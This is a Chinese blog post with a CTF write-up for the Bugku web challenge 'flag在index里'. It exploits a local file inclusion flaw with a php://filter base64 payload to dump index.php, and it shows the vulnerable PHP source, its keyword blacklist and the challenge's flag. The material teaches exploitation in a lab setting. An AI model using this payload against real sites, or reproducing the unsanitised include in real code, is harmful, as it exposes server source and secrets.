bugku flag在index里

最新推荐文章于 2019-07-13 13:38:14 发布

偷懒不学习

最新推荐文章于 2019-07-13 13:38:14 发布

阅读量297

点赞数

分类专栏： ctf-web

本文链接：https://blog.csdn.net/Seaern/article/details/94492863

版权

ctf-web 专栏收录该内容

24 篇文章 1 订阅

订阅专栏

题目链接

在这里插入图片描述

第二个界面发现url为：

http://123.206.87.240:8005/post/index.php?file=show.php

	参数有file选项，联想到了文件包含漏洞

结合题目提示：

flag在index里

通过PHP内置协议直接读取代码

PHP内置协议

通过构造如下语句：

http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

就能获得xxx.php的代码的base64加密结果，通过base64解密后便可获得xxx.php的代码

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到base64编码：

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

解码后：

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

得到flag：
flag{edulcni_elif_lacol_si_siht}

偷懒不学习

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
bugku flag在index里

题目链接第二个界面发现url为：http://123.206.87.240:8005/post/index.php?file=show.php 参数有file选项，联想到了文件包含漏洞结合题目提示：flag在index里通过PHP内置协议直接读取代码PHP内置协议通过构造如下语句：http://xxx.com/index.php?file=php://fil...
复制链接

扫一扫